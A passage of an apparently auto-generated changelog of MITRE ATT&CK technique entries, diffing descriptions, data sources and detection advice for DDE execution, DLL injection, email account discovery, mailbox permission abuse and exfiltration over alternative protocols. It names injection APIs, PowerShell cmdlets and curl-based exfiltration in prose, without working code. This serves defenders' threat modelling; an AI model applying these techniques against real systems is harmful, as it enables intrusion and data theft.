| > | echniques/T1566) campaigns or hosted Web content, avoiding t | > | echniques/T1566) campaigns or hosted Web content, avoiding t | ||
| > | he use of Visual Basic for Applications (VBA) macros. (Citat | > | he use of Visual Basic for Applications (VBA) macros. (Citat | ||
| > | ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev | > | ion: SensePost MacroLess DDE Oct 2017) DDE could also be lev | ||
| > | eraged by an adversary operating on a compromised machine wh | > | eraged by an adversary operating on a compromised machine wh | ||
| > | o does not have direct access to a [Command and Scripting In | > | o does not have direct access to a [Command and Scripting In | ||
| > | terpreter](https://attack.mitre.org/techniques/T1059). | > | terpreter](https://attack.mitre.org/techniques/T1059). DDE e | ||
| > | xecution can be invoked remotely via [Remote Services](https | ||||
| > | ://attack.mitre.org/techniques/T1021) such as [Distributed C | ||||
| > | omponent Object Model](https://attack.mitre.org/techniques/T | ||||
| > | 1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:32:56.572000+00:00 | 2021-07-26 22:52:04.196000+00:00 |
| description | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) |
| external_references[8]['source_name'] | NVisio Labs DDE Detection Oct 2017 | Fireeye Hunting COM June 2019 |
| external_references[8]['description'] | NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017. | Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. |
| external_references[8]['url'] | https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ | https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Script: Script Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'NVisio Labs DDE Detection Oct 2017', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr | t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr |
| > | ocesses in order to evade process-based defenses as well as | > | ocesses in order to evade process-based defenses as well as | ||
| > | possibly elevate privileges. DLL injection is a method of ex | > | possibly elevate privileges. DLL injection is a method of ex | ||
| > | ecuting arbitrary code in the address space of a separate li | > | ecuting arbitrary code in the address space of a separate li | ||
| > | ve process. DLL injection is commonly performed by writin | > | ve process. DLL injection is commonly performed by writin | ||
| > | g the path to a DLL in the virtual address space of the targ | > | g the path to a DLL in the virtual address space of the targ | ||
| > | et process before loading the DLL by invoking a new thread. | > | et process before loading the DLL by invoking a new thread. | ||
| > | The write can be performed with native Windows API calls suc | > | The write can be performed with native Windows API calls suc | ||
| > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | ||
| > | y</code>, then invoked with <code>CreateRemoteThread</code> | > | y</code>, then invoked with <code>CreateRemoteThread</code> | ||
| > | (which calls the <code>LoadLibrary</code> API responsible fo | > | (which calls the <code>LoadLibrary</code> API responsible fo | ||
| > | r loading the DLL). (Citation: Endgame Process Injection Jul | > | r loading the DLL). (Citation: Elastic Process Injection Jul | ||
| > | y 2017) Variations of this method such as reflective DLL i | > | y 2017) Variations of this method such as reflective DLL i | ||
| > | njection (writing a self-mapping DLL into a process) and mem | > | njection (writing a self-mapping DLL into a process) and mem | ||
| > | ory module (map DLL when writing into process) overcome the | > | ory module (map DLL when writing into process) overcome the | ||
| > | address relocation issue as well as the additional APIs to i | > | address relocation issue as well as the additional APIs to i | ||
| > | nvoke execution (since these methods load and execute the fi | > | nvoke execution (since these methods load and execute the fi | ||
| > | les in memory by manually preforming the function of <code>L | > | les in memory by manually preforming the function of <code>L | ||
| > | oadLibrary</code>).(Citation: Endgame HuntingNMemory June 20 | > | oadLibrary</code>).(Citation: Elastic HuntingNMemory June 20 | ||
| > | 17)(Citation: Endgame Process Injection July 2017) Running | > | 17)(Citation: Elastic Process Injection July 2017) Running | ||
| > | code in the context of another process may allow access to | > | code in the context of another process may allow access to | ||
| > | the process's memory, system/network resources, and possibly | > | the process's memory, system/network resources, and possibly | ||
| > | elevated privileges. Execution via DLL injection may also e | > | elevated privileges. Execution via DLL injection may also e | ||
| > | vade detection from security products since the execution is | > | vade detection from security products since the execution is | ||
| > | masked under a legitimate process. | > | masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:17:59.148000+00:00 | 2021-10-18 12:20:00.382000+00:00 |
| description | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Endgame HuntingNMemory June 2017)(Citation: Endgame Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| external_references[2]['source_name'] | Endgame HuntingNMemory June 2017 | Elastic HuntingNMemory June 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_data_sources[2] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of email addresses | t | 1 | Adversaries may attempt to get a listing of email addresses |
| > | and accounts. Adversaries may try to dump Exchange address l | > | and accounts. Adversaries may try to dump Exchange address l | ||
| > | ists such as global address lists (GALs).(Citation: Microsof | > | ists such as global address lists (GALs).(Citation: Microsof | ||
| > | t Exchange Address Lists) In on-premises Exchange and Excha | > | t Exchange Address Lists) In on-premises Exchange and Excha | ||
| > | nge Online, the<code>Get-GlobalAddressList</code> PowerShell | > | nge Online, the<code>Get-GlobalAddressList</code> PowerShell | ||
| > | cmdlet can be used to obtain email addresses and accounts f | > | cmdlet can be used to obtain email addresses and accounts f | ||
| > | rom a domain using an authenticated session.(Citation: Micro | > | rom a domain using an authenticated session.(Citation: Micro | ||
| > | soft getglobaladdresslist)(Citation: Black Hills Attacking E | > | soft getglobaladdresslist)(Citation: Black Hills Attacking E | ||
| > | xchange MailSniper, 2016) | > | xchange MailSniper, 2016) In Google Workspace, the GAL is s | ||
| > | hared with Microsoft Outlook users through the Google Worksp | ||||
| > | ace Sync for Microsoft Outlook (GWSMO) service. Additionally | ||||
| > | , the Google Workspace Directory allows for users to get a l | ||||
| > | isting of other users within the organization.(Citation: Goo | ||||
| > | gle Workspace Global Access List) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 15:27:58.933000+00:00 | 2021-03-31 13:10:46.302000+00:00 |
| description | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) | Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List) |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Workspace Global Access List', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://support.google.com/a/answer/166870?hl=en'} | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:56:03.459000+00:00 | 2021-04-14 12:05:31.985000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Network intrusion detection system | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Netflow/Enclave netflow |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may grant additional permission levels, such as | t | 1 | Adversaries may grant additional permission levels, such as |
| > | ReadPermission or FullAccess, to maintain persistent access | > | ReadPermission or FullAccess, to maintain persistent access | ||
| > | to an adversary-controlled email account. The <code>Add-Mail | > | to an adversary-controlled email account. The <code>Add-Mail | ||
| > | boxPermission</code> [PowerShell](https://attack.mitre.org/t | > | boxPermission</code> [PowerShell](https://attack.mitre.org/t | ||
| > | echniques/T1059/001) cmdlet, available in on-premises Exchan | > | echniques/T1059/001) cmdlet, available in on-premises Exchan | ||
| > | ge and in the cloud-based service Office 365, adds permissio | > | ge and in the cloud-based service Office 365, adds permissio | ||
| > | ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission | > | ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission | ||
| > | )(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding | > | )(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding | ||
| > | in Plain Sight 2018) This may be used in persistent threat | > | in Plain Sight 2018) Adversaries may also assign mailbox f | ||
| > | incidents as well as BEC (Business Email Compromise) incide | > | older permissions through individual folder permissions or r | ||
| > | nts where an adversary can assign more access rights to the | > | oles. Adversaries may assign the Default or Anonymous user p | ||
| > | accounts they wish to compromise. This may further enable us | > | ermissions or roles to the Top of Information Store (root), | ||
| > | e of additional techniques for gaining access to systems. Fo | > | Inbox, or other mailbox folders. By assigning one or both us | ||
| > | r example, compromised business accounts are often used to s | > | er permissions to a folder, the adversary can utilize any ot | ||
| > | end messages to other accounts in the network of the target | > | her account in the tenant to maintain persistence to the tar | ||
| > | business while creating inbox rules (ex: [Internal Spearphis | > | get user’s mail folders.(Citation: Remediation and Hardening | ||
| > | hing](https://attack.mitre.org/techniques/T1534)), so the me | > | Strategies for Microsoft 365 to Defend Against UNC2452) Th | ||
| > | ssages evade spam/phishing detection mechanisms.(Citation: B | > | is may be used in persistent threat incidents as well as BEC | ||
| > | ienstock, D. - Defending O365 - 2019) | > | (Business Email Compromise) incidents where an adversary ca | ||
| > | n assign more access rights to the accounts they wish to com | ||||
| > | promise. This may further enable use of additional technique | ||||
| > | s for gaining access to systems. For example, compromised bu | ||||
| > | siness accounts are often used to send messages to other acc | ||||
| > | ounts in the network of the target business while creating i | ||||
| > | nbox rules (ex: [Internal Spearphishing](https://attack.mitr | ||||
| > | e.org/techniques/T1534)), so the messages evade spam/phishin | ||||
| > | g detection mechanisms.(Citation: Bienstock, D. - Defending | ||||
| > | O365 - 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 19:18:36.254000+00:00 | 2021-10-18 18:57:04.148000+00:00 |
| description | Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) | Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) |
| external_references[4]['source_name'] | Bienstock, D. - Defending O365 - 2019 | Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452 |
| external_references[4]['description'] | Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019. | Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021. |
| external_references[4]['url'] | https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 | https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html |
| x_mitre_data_sources[0] | Office 365 audit logs | Application Log: Application Log Content |
| x_mitre_detection | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bienstock, D. - Defending O365 - 2019', 'description': 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.', 'url': 'https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365'} | |
| x_mitre_contributors | Microsoft Detection and Response Team (DART) | |
| x_mitre_contributors | Mike Burns, Mandiant | |
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_data_sources | Group: Group Modification | |
| x_mitre_data_sources | User Account: User Account Modification |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may steal data by exfiltrating it over a differe | t | 1 | Adversaries may steal data by exfiltrating it over a differe |
| > | nt protocol than that of the existing command and control ch | > | nt protocol than that of the existing command and control ch | ||
| > | annel. The data may also be sent to an alternate network loc | > | annel. The data may also be sent to an alternate network loc | ||
| > | ation from the main command and control server. Alternate | > | ation from the main command and control server. Alternate | ||
| > | protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other | > | protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other | ||
| > | network protocol not being used as the main command and con | > | network protocol not being used as the main command and con | ||
| > | trol channel. Different protocol channels could also include | > | trol channel. Different protocol channels could also include | ||
| > | Web services such as cloud storage. Adversaries may also op | > | Web services such as cloud storage. Adversaries may also op | ||
| > | t to encrypt and/or obfuscate these alternate channels. [E | > | t to encrypt and/or obfuscate these alternate channels. [E | ||
| > | xfiltration Over Alternative Protocol](https://attack.mitre. | > | xfiltration Over Alternative Protocol](https://attack.mitre. | ||
| > | org/techniques/T1048) can be done using various common opera | > | org/techniques/T1048) can be done using various common opera | ||
| > | ting system utilities such as [Net](https://attack.mitre.org | > | ting system utilities such as [Net](https://attack.mitre.org | ||
| > | /software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct | > | /software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct | ||
| > | 2016) | > | 2016) On macOS and Linux <code>curl</code> may be used to in | ||
| > | voke protocols such as HTTP/S or FTP/S to exfiltrate data fr | ||||
| > | om a system.(Citation: 20 macOS Common Tools and Techniques) | ||||
| > | |||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:50:31.548000+00:00 | 2021-10-15 22:49:28.766000+00:00 |
| description | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) | Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) |
| external_references[2]['source_name'] | University of Birmingham C2 | 20 macOS Common Tools and Techniques |
| external_references[2]['description'] | Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. | Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. |
| external_references[2]['url'] | https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ |
| x_mitre_data_sources[0] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Netflow/Enclave netflow | File: File Access |
| x_mitre_data_sources[4] | Network protocol analysis | Command: Command Execution |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'} | |
| x_mitre_contributors | William Cain |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:45:51.014000+00:00 | 2021-10-15 22:44:11.953000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Process use of network | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-12 15:59:47.470000+00:00 | 2021-10-15 22:45:50.620000+00:00 |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Process monitoring | File: File Access |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:31:48.713000+00:00 | 2021-10-15 22:48:29.702000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| x_mitre_data_sources[2] | File monitoring | Drive: Drive Creation |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:50:31.361000+00:00 | 2021-10-15 22:49:28.421000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Process use of network | File: File Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 01:02:24.276000+00:00 | 2021-10-15 22:50:29.607000+00:00 |
